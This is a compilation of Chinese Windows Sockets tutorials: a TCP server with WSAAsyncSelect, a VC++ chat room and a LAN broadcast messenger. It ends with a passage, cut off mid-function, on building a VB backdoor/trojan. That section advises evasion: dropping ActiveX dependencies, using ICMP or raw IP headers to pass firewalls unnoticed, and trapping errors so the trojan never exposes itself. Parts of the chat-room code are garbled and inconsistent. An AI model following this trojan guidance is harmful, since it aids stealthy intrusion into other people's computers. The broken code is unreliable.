  在客户方要复杂一些,连接断后,重联不成功则应换下一个IP地址连接。也可采用同时连接好后备用的方式。

  7、用TCP/IP Winsock实现变种Client/Server

   传统的Client/Server为客户问、服务答,收发是成对出现的。而变种的Client/Server是指在连接时有客户和服务之分,建立好通信 连接后,不再有严格的客户和服务之分,任何方都可主动发送,需要或不需要回答看应用而言,这种方式在工控行业很有用,比如RTDB作为I/O Server的客户,但I/O Server也可主动向RTDB发送开关状态变位、随即事件等信息。在很大程度上减少了网络通信负荷、提高了效率。

  采用1-6的TCP/IP编程要点,在Client和Server方均已接收优先,适当控制时序就能实现。
Windows Sockets API实现网络异步通讯
摘要:本文对如何使用面向连接的流式套接字实现对网卡的编程以及如何实现异步网络通讯等问题进行了讨论与阐述。


  一、 引言

   在80年代初,美国加利福尼亚大学伯克利分校的研究人员为TCP/IP网络通信开发了一个专门用于网络通讯开发的API。这个API就是Socket接 口(套接字)–当今在TCP/IP网络最为通用的一种API,也是在互联网上进行应用开发最为通用的一种API。在微软联合其它几家公司共同制定了一套 Windows下的网络编程接口Windows Sockets规范后,由于在其规范中引入了一些异步函数,增加了对网络事件异步选择机制,因此更加符合Windows的消息驱动特性,使网络开发人员可 以更加方便的进行高性能网络通讯程序的设计。本文接下来就针对Windows Sockets API进行面向连接的流式套接字编程以及对异步网络通讯的编程实现等问题展开讨论。

  二、 面向连接的流式套接字编程模型的设计

   本文在方案选择上采用了在网络编程中最常用的一种模型–客户机/服务器模型。这种客户/服务器模型是一种非对称式编程模式。该模式的基本思想是把集中 在一起的应用划分成为功能不同的两个部分,分别在不同的计算机上运行,通过它们之间的分工合作来实现一个完整的功能。对于这种模式而言其中一部分需要作为 服务器,用来响应并为客户提供固定的服务;另一部分则作为客户机程序用来向服务器提出请求或要求某种服务。

  本文选取了基于 TCP/IP的客户机/服务器模型和面向连接的流式套接字。其通信原理为:服务器端和客户端都必须建立通信套接字,而且服务器端应先进入监听状态,然后客 户端套接字发出连接请求,服务器端收到请求后,建立另一个套接字进行通信,原来负责监听的套接字仍进行监听,如果有其它客户发来连接请求,则再建立一个套 接字。默认状态下最多可同时接收5个客户的连接请求,并与之建立通信关系。因此本程序的设计流程应当由服务器首先启动,然后在某一时刻启动客户机并使其与 服务器建立连接。服务器与客户机开始都必须调用Windows Sockets API函数socket()建立一个套接字sockets,然后服务器方调用bind()将套接字与一个本地网络地址捆扎在一起,再调用listen() 使套接字处于一种被动的准备接收状态,同时规定它的请求队列长度。在此之后服务器就可以通过调用accept()来接收客户机的连接。

   相对于服务器,客户端的工作就显得比较简单了,当客户端打开套接字之后,便可通过调用connect()和服务器建立连接。连接建立之后,客户和服务器 之间就可以通过连接发送和接收资料。最后资料传送结束,双方调用closesocket()关闭套接字来结束这次通讯。整个通讯过程的具体流程框图可大致 用下面的流程图来表示:

        面向连接的流式套接字编程流程示意图
  三、 软件设计要点以及异步通讯的实现

  根据前面设计的程序流程,可将程序划分为两部分:服务器端和客户端。而且整个实现过程可以大致用以下几个非常关键的Windows Sockets API函数将其惯穿下来:

  服务器方:

socket()->bind()->listen->accept()->recv()/send()->closesocket()

  客户机方:

socket()->connect()->send()/recv()->closesocket()

   有鉴于以上几个函数在整个网络编程中的重要性,有必要结合程序实例对其做较深入的剖析。服务器端应用程序在使用套接字之前,首先必须拥有一个 Socket,系统调用socket()函数向应用程序提供创建套接字的手段。该套接字实际上是在计算机中提供了一个通信埠,可以通过这个埠与任何一个具 有套接字接口的计算机通信。应用程序在网络上传输、接收的信息都通过这个套接字接口来实现的。在应用开发中如同使用文件句柄一样,可以对套接字句柄进行读 写操作:

sock=socket(AF_INET,SOCK_STREAM,0);

  函数的第一个参数用于指定地址 族,在Windows下仅支持AF_INET(TCP/IP地址);第二个参数用于描述套接字的类型,对于流式套接字提供有SOCK_STREAM;最后 一个参数指定套接字使用的协议,一般为0。该函数的返回值保存了新套接字的句柄,在程序退出前可以用 closesocket(sock);函数来将其释放。服务器方一旦获取了一个新的套接字后应通过bind()将该套接字与本机上的一个端口相关联:

sockin.sin_family=AF_INET;
sockin.sin_addr.s_addr=0;
sockin.sin_port=htons(USERPORT);
bind(sock,(LPSOCKADDR)&sockin,sizeof(sockin)));

   该函数的第二个参数是一个指向包含有本机IP地址和端口信息的sockaddr_in结构类型的指针,其成员描述了本地端口号和本地主机地址,经过 bind()将服务器进程在网络上标识出来。需要注意的是由于1024以内的埠号都是保留的埠号因此如无特别需要一般不能将 sockin.sin_port的埠号设置为1024以内的值。然后调用listen()函数开始侦听,再通过accept()调用等待接收连接以完成连 接的建立:

//连接请求队列长度为1,即只允许有一个请求,若有多个请求,
//则出现错误,给出错误代码WSAECONNREFUSED。
listen(sock,1);
//开启线程避免主程序的阻塞
AfxBeginThread(Server,NULL);
……
UINT Server(LPVOID lpVoid)
{
……
int nLen=sizeof(SOCKADDR);
pView->newskt=accept(pView->sock,(LPSOCKADDR)& pView->sockin,(LPINT)& nLen);
……
WSAAsyncSelect(pView->newskt,pView->m_hWnd,WM_SOCKET_MSG,FD_READ|FD_CLOSE);
return 1;
}

   这里之所以把accept()放到一个线程中去是因为在执行到该函数时如没有客户连接服务器的请求到来,服务器就会停在accept语句上等待连接请求 的到来,这势必会引起程序的阻塞,虽然也可以通过设置套接字为非阻塞方式使在没有客户等待时可以使accept()函数调用立即返回,但这种轮询套接字的 方式会使CPU处于忙等待方式,从而降低程序的运行效率大大浪费系统资源。考虑到这种情况,将套接字设置为阻塞工作方式,并为其单独开辟一个子线程,将其 阻塞控制在子线程范围内而不会造成整个应用程序的阻塞。对于网络事件的响应显然要采取异步选择机制,只有采取这种方式才可以在由网络对方所引起的不可预知 的网络事件发生时能马上在进程中做出及时的响应处理,而在没有网络事件到达时则可以处理其他事件,这种效率是很高的,而且完全符合Windows所标榜的 消息触发原则。前面那段代码中的WSAAsyncSelect()函数便是实现网络事件异步选择的核心函数。
通过第四个参数注册应用程序感兴取的 网络事件,在这里通过FD_READ|FD_CLOSE指定了网络读和网络断开两种事件,当这种事件发生时变会发出由第三个参数指定的自定义消息 WM_SOCKET_MSG,接收该消息的窗口通过第二个参数指定其句柄。在消息处理函数中可以通过对消息参数低字节进行判断而区别出发生的是何种网络事 件:

void CNetServerView::OnSocket(WPARAM wParam,LPARAM lParam)
{
int iReadLen=0;
int message=lParam & 0×0000FFFF;
switch(message)
{
case FD_READ://读事件发生。此时有字符到达,需要进行接收处理
char cDataBuffer[MTU*10];
//通过套接字接收信息
iReadLen = recv(newskt,cDataBuffer,MTU*10,0);
//将信息保存到文件
if(!file.Open("ServerFile.txt",Cfile::modeReadWrite))
file.Open("E:ServerFile.txt",Cfile::modeCreate|Cfile::modeReadWrite);
file.SeekToEnd();
file.Write(cDataBuffer,iReadLen);
file.Close();
break;
case FD_CLOSE://网络断开事件发生。此时客户机关闭或退出。
……//进行相应的处理
break;
default:
break;
}
}

  在这里需要实现对自定义消息WM_SOCKET_MSG的响应,需要在头文件和实现文件中分别添加其消息映射关系:

  头文件:

//{{AFX_MSG(CNetServerView)
//}}AFX_MSG
void OnSocket(WPARAM wParam,LPARAM lParam);
DECLARE_MESSAGE_MAP()

  实现文件:

BEGIN_MESSAGE_MAP(CNetServerView, CView)
//{{AFX_MSG_MAP(CNetServerView)
//}}AFX_MSG_MAP
ON_MESSAGE(WM_SOCKET_MSG,OnSocket)
END_MESSAGE_MAP()

  在进行异步选择使用WSAAsyncSelect()函数时,有以下几点需要引起特别的注意:

  1. 连续使用两次WSAAsyncSelect()函数时,只有第二次设置的事件有效,如:

WSAAsyncSelect(s,hwnd,wMsg1,FD_READ);
WSAAsyncSelect(s,hwnd,wMsg2,FD_CLOSE);

  这样只有当FD_CLOSE事件发生时才会发送wMsg2消息。

  2.可以在设置过异步选择后通过再次调用WSAAsyncSelect(s,hwnd,0,0);的形式取消在套接字上所设置的异步事件。

  3.Windows Sockets DLL在一个网络事件发生后,通常只会给相应的应用程序发送一个消息,而不能发送多个消息。但通过使用一些函数隐式地允许重发此事件的消息,这样就可能再次接收到相应的消息。

  4.在调用过closesocket()函数关闭套接字之后不会再发生FD_CLOSE事件。

   以上基本完成了服务器方的程序设计,下面对于客户端的实现则要简单多了,在用socket()创建完套接字之后只需通过调用connect()完成同服 务器的连接即可,剩下的工作同服务器完全一样:用send()/recv()发送/接收收据,用closesocket()关闭套接字:

sockin.sin_family=AF_INET; //地址族
sockin.sin_addr.S_un.S_addr=IPaddr; //指定服务器的IP地址
sockin.sin_port=m_Port; //指定连接的端口号
int nConnect=connect(sock,(LPSOCKADDR)&sockin,sizeof(sockin));

   本文采取的是可靠的面向连接的流式套接字。在数据发送上有write()、writev()和send()等三个函数可供选择,其中前两种分别用于缓冲 发送和集中发送,而send()则为可控缓冲发送,并且还可以指定传输控制标志为MSG_OOB进行带外数据的发送或是为MSG_DONTROUTE寻径 控制选项。在信宿地址的网络号部分指定数据发送需要经过的网络接口,使其可以不经过本地寻径机制直接发送出去。这也是其同write()函数的真正区别所 在。由于接收数据系统调用和发送数据系统调用是一一对应的,因此对于数据的接收,在此不再赘述,相应的三个接收函数分别为:read()、readv() 和recv()。由于后者功能上的全面,本文在实现上选择了send()-recv()函数对,在具体编程中应当视具体情况的不同灵活选择适当的发送-接 收函数对。

  小结:TCP/IP协议是目前各网络操作系统主要的通讯协议,也是 Internet的通讯协议,本文通过Windows Sockets API实现了对基于TCP/IP协议的面向连接的流式套接字网络通讯程序的设计,并通过异步通讯和多线程等手段提高了程序的运行效率,避免了阻塞的发生。
用VC++6.0的Sockets API实现一个聊天室程序
1.VC++网络编程及Windows Sockets API简介

   VC++对网络编程的支持有socket支持,WinInet支持,MAPI和ISAPI支持等。其中,Windows Sockets API是TCP/IP网络环境里,也是Internet上进行开发最为通用的API。最早美国加州大学Berkeley分校在UNIX下为TCP/IP协 议开发了一个API,这个API就是著名的Berkeley Socket接口(套接字)。在桌面操作系统进入Windows时代后,仍然继承了Socket方法。在TCP/IP网络通信环境下,Socket数据传 输是一种特殊的I/O,它也相当于一种文件描述符,具有一个类似于打开文件的函数调用-socket()。可以这样理解:Socket实际上是一个通信端 点,通过它,用户的Socket程序可以通过网络和其他的Socket应用程序通信。Socket存在于一个"通信域"(为描述一般的线程如何通过 Socket进行通信而引入的一种抽象概念)里,并且与另一个域的Socket交换数据。Socket有三类。第一种是SOCK_STREAM(流式), 提供面向连接的可靠的通信服务,比如telnet,http。第二种是SOCK_DGRAM(数据报),提供无连接不可靠的通信,比如UDP。第三种是 SOCK_RAW(原始),主要用于协议的开发和测试,支持通信底层操作,比如对IP和ICMP的直接访问。

  2.Windows Socket机制分析

  2.1一些基本的Socket系统调用

   主要的系统调用包括:socket()-创建Socket;bind()-将创建的Socket与本地端口绑定;connect()与accept() -建立Socket连接;listen()-服务器监听是否有连接请求;send()-数据的可控缓冲发送;recv()-可控缓冲接收; closesocket()-关闭Socket。

  2.2Windows Socket的启动与终止

  启动函数WSAStartup()建立与Windows Sockets DLL的连接,终止函数WSAClearup()终止使用该DLL,这两个函数必须成对使用。

  2.3异步选择机制

   Windows是一个非抢占式的操作系统,而不采取UNIX的阻塞机制。当一个通信事件产生时,操作系统要根据设置选择是否对该事件加以处理, WSAAsyncSelect()函数就是用来选择系统所要处理的相应事件。当Socket收到设定的网络事件中的一个时,会给程序窗口一个消息,这个消 息里会指定产生网络事件的Socket,发生的事件类型和错误码。

  2.4异步数据传输机制

  WSAAsyncSelect()设定了Socket上的须响应通信事件后,每发生一个这样的事件就会产生一个WM_SOCKET消息传给窗口。而在窗口的回调函数中就应该添加相应的数据传输处理代码。

  3.聊天室程序的设计说明

  3.1实现思想

  在Internet上的聊天室程序一般都是以服务器提供服务端连接响应,使用者通过客户端程序登录到服务器,就可以与登录在同一服务器上的用户交谈,这是一个面向连接的通信过程。因此,程序要在TCP/IP环境下,实现服务器端和客户端两部分程序。

  3.2服务器端工作流程

   服务器端通过socket()系统调用创建一个Socket数组后(即设定了接受连接客户的最大数目),与指定的本地端口绑定bind(),就可以在端 口进行侦听listen()。如果有客户端连接请求,则在数组中选择一个空Socket,将客户端地址赋给这个Socket。然后登录成功的客户就可以在 服务器上聊天了。

  3.3客户端工作流程

  客户端程序相对简单,只需要建立一个Socket与服务器端连接,成功后通过这个Socket来发送和接收数据就可以了。
4.核心代码分析

  限于篇幅,这里仅给出与网络编程相关的核心代码,其他的诸如聊天文字的服务器和客户端显示读者可以自行添加。

  4.1服务器端代码

  开启服务器功能:

void OnServerOpen() //开启服务器功能
{
 WSADATA wsaData;
 int iErrorCode;
 char chInfo[64];
 if (WSAStartup(WINSOCK_VERSION, &wsaData)) //调用Windows Sockets DLL
  { MessageBeep(MB_ICONSTOP);
   MessageBox("Winsock无法初始化!", AfxGetAppName(), MB_OK|MB_ICONSTOP);
   WSACleanup();
   return; }
 else
  WSACleanup();
  if (gethostname(chInfo, sizeof(chInfo)))
  { ReportWinsockErr("\n无法获取主机!\n ");
   return; }
  CString csWinsockID = "\n==>>服务器功能开启在端口:No. ";
  csWinsockID += itoa(m_pDoc->m_nServerPort, chInfo, 10);
  csWinsockID += "\n";
  PrintString(csWinsockID); //在程序视图显示提示信息的函数,读者可自行创建
  m_pDoc->m_hServerSocket=socket(PF_INET, SOCK_STREAM, DEFAULT_PROTOCOL);
  //创建服务器端Socket,类型为SOCK_STREAM,面向连接的通信
  if (m_pDoc->m_hServerSocket == INVALID_SOCKET)
  { ReportWinsockErr("无法创建服务器socket!");
   return;}
  m_pDoc->m_sockServerAddr.sin_family = AF_INET;
  m_pDoc->m_sockServerAddr.sin_addr.s_addr = INADDR_ANY;
  m_pDoc->m_sockServerAddr.sin_port = htons(m_pDoc->m_nServerPort);
  if (bind(m_pDoc->m_hServerSocket, (LPSOCKADDR)&m_pDoc->m_sockServerAddr,   
     sizeof(m_pDoc->m_sockServerAddr)) == SOCKET_ERROR) //与选定的端口绑定
   {ReportWinsockErr("无法绑定服务器socket!");
    return;}
   iErrorCode=WSAAsyncSelect(m_pDoc->m_hServerSocket,m_hWnd,
   WM_SERVER_ACCEPT, FD_ACCEPT);
   //设定服务器相应的网络事件为FD_ACCEPT,即连接请求,
   // 产生相应传递给窗口的消息为WM_SERVER_ACCEPT
  if (iErrorCode == SOCKET_ERROR)
   { ReportWinsockErr("WSAAsyncSelect设定失败!");
    return;}
  if (listen(m_pDoc->m_hServerSocket, QUEUE_SIZE) == SOCKET_ERROR) //开始监听客户连接请求
   {ReportWinsockErr("服务器socket监听失败!");
    m_pParentMenu->EnableMenuItem(ID_SERVER_OPEN, MF_ENABLED);
    return;}
  m_bServerIsOpen = TRUE; //监视服务器是否打开的变量
 return;
}

  响应客户发送聊天文字到服务器:ON_MESSAGE(WM_CLIENT_READ, OnClientRead)

LRESULT OnClientRead(WPARAM wParam, LPARAM lParam)
{
 int iRead;
 int iBufferLength;
 int iEnd;
 int iRemainSpace;
 char chInBuffer[1024];
 int i;
 for(i=0;(i<MAXCLIENT)&&(M_ACLIENTSOCKET[I]!=WPARAM);I++)
  //MAXClient是服务器可响应连接的最大数目
  {}
 if(i==MAXClient) return 0L;
  iBufferLength = iRemainSpace = sizeof(chInBuffer);
  iEnd = 0;
  iRemainSpace -= iEnd;
  iBytesRead = recv(m_aClientSocket[i], (LPSTR)(chInBuffer+iEnd), iSpaceRemaining, NO_FLAGS);   //用可控缓冲接收函数recv()来接收字符
  iEnd+=iRead;
 if (iBytesRead == SOCKET_ERROR)
  ReportWinsockErr("recv出错!");
  chInBuffer[iEnd] = ‘\0′;
 if (lstrlen(chInBuffer) != 0)
  {PrintString(chInBuffer); //服务器端文字显示
   OnServerBroadcast(chInBuffer); //自己编写的函数,向所有连接的客户广播这个客户的聊天文字
  }
 return(0L);
}

  对于客户断开连接,会产生一个FD_CLOSE消息,只须相应地用closesocket()关闭相应的Socket即可,这个处理比较简单。

  4.2客户端代码

  连接到服务器:

void OnSocketConnect()
{ WSADATA wsaData;
 DWORD dwIPAddr;
 SOCKADDR_IN sockAddr;
 if(WSAStartup(WINSOCK_VERSION,&wsaData)) //调用Windows Sockets DLL
 {MessageBox("Winsock无法初始化!",NULL,MB_OK);
  return;
 }
 m_hSocket=socket(PF_INET,SOCK_STREAM,0); //创建面向连接的socket
 sockAddr.sin_family=AF_INET; //使用TCP/IP协议
 sockAddr.sin_port=m_iPort; //客户端指定的IP地址
 sockAddr.sin_addr.S_un.S_addr=dwIPAddr;
 int nConnect=connect(m_hSocket,(LPSOCKADDR)&sockAddr,sizeof(sockAddr)); //请求连接
 if(nConnect)
  ReportWinsockErr("连接失败!");
 else
  MessageBox("连接成功!",NULL,MB_OK);
  int iErrorCode=WSAAsyncSelect(m_hSocket,m_hWnd,WM_SOCKET_READ,FD_READ);
  //指定响应的事件,为服务器发送来字符
 if(iErrorCode==SOCKET_ERROR)
 MessageBox("WSAAsyncSelect设定失败!");
}

  接收服务器端发送的字符也使用可控缓冲接收函数recv(),客户端聊天的字符发送使用数据可控缓冲发送函数send(),这两个过程比较简单,在此就不加赘述了。

  5.小结

  通过聊天室程序的编写,可以基本了解Windows Sockets API编程的基本过程和精要之处。本程序在VC++6.0下编译通过,在使用windows 98/NT的局域网里运行良好。
用VC++制作一个简单的局域网消息发送工程
本工程类似于oicq的消息发送机制,不过他只能够发送简单的字符串。虽然简单,但他也是一个很好的VC网络学习例子。

  本例通过VC带的SOCKET类,重载了他的一个接受类mysock类,此类可以吧接收到的信息显示在客户区理。以下是实现过程:

  建立一个MFC 单文档工程,工程名为oicq,在第四步选取WINDOWS SOCKetS支持,其它取默认设置即可。为了简单,这里直接把about对话框作些改变,作为发送信息界面。

  这里通过失去对话框来得到发送的字符串、获得焦点时把字符串发送出去。创建oicq类的窗口,获得VIEW类指针,进而可以把接收到的信息显示出来。

extern CString bb;
void CAboutDlg::OnKillFocus(CWnd* pNewWnd)
{
 // TODO: Add your message handler code here
 CDialog::OnKillFocus(pNewWnd);
 bb=m_edit;
}
对于OICQVIEW类
char aa[100];
CString mm;
CDC* pdc;
class mysock:public CSocket //派生mysock类,此类既有接受功能
{public:void OnReceive(int nErrorCode) //可以随时接收信息
 {
  CSocket::Receive((void*)aa,100,0);
  mm=aa;
  CString ll=" ";//在显示消息之前,消除前面发送的消息
  pdc->TextOut(50,50,ll);
  pdc->TextOut(50,50,mm);
 }
};

mysock sock1;
CString bb;
BOOL COicqView::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message)
{
 CView::OnSetFocus(pOldWnd);

 // TODO: Add your message handler code here and/or call default
 bb="besting:"+bb; //确定发送者身份为besting
 sock1.SendTo(bb,100,1060,"192.168.0.255",0); //获得焦点以广播形式发送信息,端口号为1060

 return CView::OnSetCursor(pWnd, nHitTest, message);
}

int COicqView::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
 if (CView::OnCreate(lpCreateStruct) == -1)
  return -1;
  sock1.Create(1060,SOCK_DGRAM,NULL);//以数据报形式发送消息

  static CClientDC wdc(this); //获得当前视类的指针
  pdc=&wdc;
  // TODO: Add your specialized creation code here

  return 0;
}

运行一下,打开ABOUT对话框,输入发送信息,enter键就可以发送信息了,是不是有点像qq啊?


一、开篇废话一箩筐
VB写的BackDoor/Trojan似乎是与尴尬同在的,不信?你去各大技术论坛发帖问问“小弟想做个木马,用什么开发好 啊?”,大多数Expert级的建议都是“VC++、C++ Builder、Delphi”,唯独把VC++的同门兄弟VB拒之门外。难道VB真的就这么烂?进一步问问吧,高手们会给你列举VB的以下“好处”:
1.必须有MSVBVM60.DLL(VB6.0)、MSVBVM50.DLL(VB5.0)存在,否则VB木马就只能当花瓶了。
2.看看你用了多少个ActiveX吧——“Can’t create Object,refused to run”
3.运行时例外错误,突然蹦出个窗口来告诉马场主:“嘿,我是VB写的木马,我崩溃了,啦啦啦:P”
4.超级不稳定,不知道什么时候就挂了。
5.体积庞大……
以上的确是在说实话……由于VB编写的程序有很多致命弱点,所以“聪明人”的首选当然是VC++、Delphi,但这并不能说VB就是穷途末路,记住,程序写得怎么样,看的是编写者的水平,而不是看他用什么语言!
开动你的脑筋,做最周到的考虑,尽最精细的分析,就让VB木马也疯狂一回!

二、忍住ActiveX的诱惑——纯API编程
最 基本的重点!别把后门技术与一般编程混为一谈,平时写程序喜欢挂多少个ActiveX随便你,但是在这里不可以!要想VB木马能四处撒欢,就必须先把VB 程序无形的束缚——ActiveX技术抛掉,否则它就如一条缰绳,把你费尽苦心“拼装”出来的木马给牢牢的拴在你家里——难道你还想为你的马驹做个 InstallShield?
抛掉了ActiveX,还有什么?Windows给我们提供了强大的API(Application Programming Interface,应用程序编程接口)支持,为什么C代码这么简洁?就因为Windows环境的大部分C代码实际上是与系统API紧紧结合的,微软和第 三方开发商已经提前把大量的API调用声明写入头文件(C++ Header File)了,VC程序员不必自己再写一大堆函数声明,直接用#include把相关的API声明的头文件拉进代码就可以!大家可以找个简单的C写的 Exploit代码来看看头文件声明,例如:
====================================================
#include
WSAStartup(MAKEWORD(1,1),&wsaData);
SockRaw=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
====================================================

而在VB里要写一大堆:
====================================================
Declare Function WSAStartup Lib "Winsock.dll" (ByVal wVR As Integer, lpWSAD As WSADataType) As Integer
Declare Function socket Lib "Winsock.dll" (ByVal af As Integer, ByVal s_type As Integer, ByVal protocol As Integer) As Integer
Const AF_INET = 2
Const SOCK_RAW = 3
Const IPPROTO_ICMP = 1
ret = WSAStartup(&H101, wsadStartupData)
SockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
====================================================

对比两段代码,看出什么没有?VC程序员可以用一句#include 就把WSAStartup、socket、AF_INET等API声明和常数定义给省略了,而VB程序员就有得苦了。难怪ActiveX可以在VB的天下横行无忌——偷懒谁不会啊?
但是我们是在做木马,要偷懒你就睡觉去吧,要想你的马驹在别人的马场里撒欢,就要对ActiveX说“NO”!我们只剩下API,好好发挥吧!

三、沟通的窗户——WinSock
首先介绍一下什么是WinSock。
WinSock 是在90年代初,为了方便网络编程而由 Microsoft联合几家公司共同制定的一套WINDOWS下的网络编程接口,即Windows Sockets规范,它不是一种网络协议,而是一套开放的、支持多种协议的Windows下的网络编程接口。Socket实际在计算机中提供了一个通信端 口,可以通过这个端口与任何一个具有Socket接口的计算机通信。应用程序在网络上传输,接收的信息都通过这个Socket接口来实现。Socket也 称为“套接字”。Windows下的大部分语言都支持WinSock,VB也不例外。
只不过,用VB+API写WinSock是件很不爽的事,太多的API调用和常数定义,一个套一个,写得头昏眼花,如果你懒得(或者没办法)写出一个完整的WinSock架构,那么我建议你去 www.allapi.net下载KPD-Team做好的WinSock API Function Calls For VB再看下文。(文章附源代码)
以 前看到一些介绍“VB木马制作”的文章,大言不惭的使用了Microsoft WinSock Control 6.0(MSWINSCK.OCX)来做WinSock核心部件,这样做当然可以省去许多功夫,但是别忘了这是ActiveX!那些文章唬唬菜鸟可以,要 想实际应用,做梦!既然已经把代码限制在API领域里,就要自己动手。
如果你以前习惯了使用Microsoft WinSock Control 6.0来拼装网络应用程序,就要把那种简洁忘掉,否则你会很痛苦的,因为WinSock API不同于WinSock ActiveX,它们之间有很多差别:

1.WinSock ActiveX(WSAX)给程序员提供了一个很方便的接收事件DataArrival,在里面用GetData方法就能获取数据,在WinSock API(WSAP)里,这个想法只能是美好的。
2.WSAX 想什么时候收发数据都可以,WSAP要求你老老实实先WSAStartup,填充sockaddr结构(sin_family、sin_port、 sin_addr、sin_zero),connect后再send或者直接sendto出去,然后下面的recv马上进入戒备状态接收返回的数据,最后 别忘了closesocket还有WSACleanup。
3.WSAX把WinSock架构理想化了,每个事件都能做到看似分离实际整合 (DataArrival、SendProgress、Error、Close等),而在WSAP编程里,你只能无奈的看着几个对应WSAX不同事件的 API挤作一团,而且只能在一个过程里做完所有工作——WSAP只给你在一个过程里处理接收、回应和操作事件。如果你习惯在WSAX里几个不同的事件里写 不同作用的代码,那么在WSAP里,你会发现完成相同作用的代码基本上都被挤在一个WinSock的recv/send处理过程里,也许你会说,建立一个 异步模式的接收过程,但是这样的效率仍然比WSAX低。
4.WSAP比WSAX容易崩溃,举个例子,如果你在没有对套接字进行特殊处理(例如 select设置异步模式)的情况下直接让WSAP试图connect一个无法连接的服务器,你的整个程序都会被挂起,直到connect返回 INVALID_SOCKET——弄不好就是永久的挂起,崩溃了;而WSAX则轻松的返回一个INVALID_SOCKET。
5.最大一个问题: WSAP的声明和调用都太复杂了!如果你对WinSock API很了解,你可以写一个和WinSock设置有关的全局类模块,配合API使用,但这些并不能很好的解决WSAP繁琐复杂的问题。有兴趣的可以研究一 下我在一个外国专业编程网站搜集到的VB代码WinsockTestBench。(随文章附上)

在VB里用API写WinSock虽然很令人头痛,但是我们不得不忍受,为了制造马驹。而且,编写WinSock API会让你学到很多。
木马程序里,WinSock部分占有很重要的地位,程序操作基本上都处于WinSock传输的数据控制下,所以写木马的第一步最好先完成一个能正常进行通讯的WinSock框架,这不是坏习惯。

四、协议,端口
接 下来,就要思考清楚后门的报文协议,是TCP、UDP还是ICMP?开什么端口?这些都要想清楚,否则代码写复杂的时候要改就是一项很大的工程了。大多数 木马是基于TCP协议+高位端口的,UDP协议不能很好的保证传输质量而且容易被伪造,一般不推荐使用。TCP和UDP都要开端口,并不代表UDP就能更 好隐蔽端口的。新型的木马采用ICMP/IP头部信息来实现传输,做到了更高的隐蔽性,因为ICMP是由系统核心处理的,而且比TCP/UDP协议的层次 更低些,不需要开端口,除非对方禁止了ICMP,否则这种后门可以在防火墙眼皮底下穿行;基于IP头部的传输模式在Win9x/Me系统上应该无法实现 了,这些非NT架构的系统不支持IP_HDRINCL,用户不能自己填充IP头部数据。很少人会留意这些零碎的IP数据包是否正在传递信息,不过就是不如 直接TCP传输得舒服就是了,因为IP报文的头部空域很有限,并不是你想添加多少就添加多少的。用IP报文尾部发送数据?你不如直接用TCP/UDP发送 好了……

五、当错误发生的时候
VB程序其实很脆弱,当一些不可预料的错误(例如溢出、文件读写失败等)发生时,它们会很委屈的弹 出提示信息,设想一下你的木马在读取文件时突然遇到磁盘坏道,它就会弹出信息暴露自己了。所以,VB木马作者们必须认真对待VB的错误处理机制,为程序设 置错误陷阱,做到最大的安全性。
错误陷阱必须设置在每个过程的第一行里,记住这两个常用的错误处理语句:On Error Resume Next、On Error GoTo [Flag]。

1.On Error Resume Next
它让VB程序遇到例外错误时直接执行下一句代码,例如这句代码存在风险:
Open "c:\scandisk.log" For Input As #1
这句代码本身并没有什么错误,但是它带来了产生致命错误的风险:C盘根目录下的scandisk.log文件不存在时,程序就崩溃了。如果我们给这个语句加入错误陷阱,告诉它无论遇到什么情况都别出声,就可以把风险降到最低:)
On Error Resume Next
Open "c:\scandisk." For Input As #1
‘经过这样的处理,这个语句永远不会弹出错误信息:)

2.On Error GoTo [Flag]
虽 然On Error Resume Next能降低风险,但是它并不是万能的,一些严重错误如溢出、死循环用On Error Resume Next只会让程序越陷越深。考虑周全一些,在一些危险代码里使用On Error GoTo [Flag],它至少能让程序跳出挣扎的泥潭:
=========================================================
On Error GoTo ErrProcess
Set vDoc = webMain.Document
For j = 0 To vDoc.All.length – 1
Set vTag = vDoc.All(j)
If UCase(vTag.tagName) = "A" Then
tmpUser = vTag.innertext
tmpUser = Replace(tmpUser, "[所有人]", "所有人")
If InStr(tmpUser, "在线列表") <> 0 Then tmpUser = ""
If InStr(tmpUser, "本室") <> 0 Then tmpUser = ""
If tmpUser = "所有人" Then tmpUser = ""
If tmpUser <> "" Then
ConnectedUser(i) = tmpUser
i = i + 1
UserCount = UserCount + 1
Else
End If
Else
End If
Next j
Exit Sub

ErrProcess:
Exit Sub
=========================================================
在 上面的代码里,由于Resume Next会让程序忽略错误,用变量的初始值去进行计算处理,因此当vDoc=Null时,vDoc.All=0,程序会在下面的Next循环里死掉,因为 我们强制了程序的错误处理为“忽略错误并执行下一个语句”,要让程序跳出这个死循环,唯有设置一个Flag,让程序跳过一大堆可能会造成致命错误的语句, 直接Exit Sub。
但是也不要大量的使用On Error GoTo错误陷阱,它不仅繁琐,而且让你的代码跳来跳去,非常不结构。
综 上所述,On Error Resume Next和On Error GoTo [Flag]任何一方都不是万能钥匙,不要一统天下都是On Error Resume Next或On Error GoTo [Flag],唯有根据不同情况配合使用不同错误处理语句,才能最大限度确保程序安全。

六、整齐的,才是最好的
没有人喜欢零散,写程序也一样,零散的代码让程序变得难读难修改,时间久了连你自己都不知道某个语句为什么在那里,起什么作用了;而且代码零散还会降低程序运行效率,增加不必要的重复代码,增大了程序的体积。
例如一个用于判断文件是否存在的代码:
=========================================================
Dim FileExists As Boolean
Open FileName For Input As #1
If Err = 0 Then
FileExist = True
Else
FileExist = False
End If
=========================================================
如果你要判断多个文件是否存在,就必须把上面的代码重复多次,自己累不算,程序也变得臃肿。
VB给我们提供了模块,利用模块的全局属性,我们可以把一些重复的代码写成全局函数,方便了自己也减少了程序的开销:
=========================================================
Function FileExist(FileName As String) As Boolean
On Error Resume Next ‘别忘了错误陷阱
Dim FileNum As Integer
FileNum = FreeFile()
Open FileName For Input As #FileNum
If Err = 0 Then
FileExist = True
Else
FileExist = False
End If
Close #FileNum
End Function
=========================================================
在全局模块里声明了这个函数(别用Private前缀声明)后,我们就可以方便的在程序任何角落用FileExists("文件名")来判断了,而且把程序代码模块化也提高了代码可读性。
所以,为了程序更好执行,请尽量把代码模块化。

附:给出几个实用的模块化代码
=========================================================
‘判断文件是否存在
Function FileExist(FileName As String) As Boolean
On Error Resume Next
Dim FileNum As Integer
FileNum = FreeFile()
Open FileName For Input As #FileNum
If Err = 0 Then
FileExist = True
Else
FileExist = False
End If
Close #FileNum
End Function

‘获取程序本身所在的目录(返回的字符以“\”结尾)
Function Path() As String
If Len(App.Path) <= 3 Then
Path = App.Path
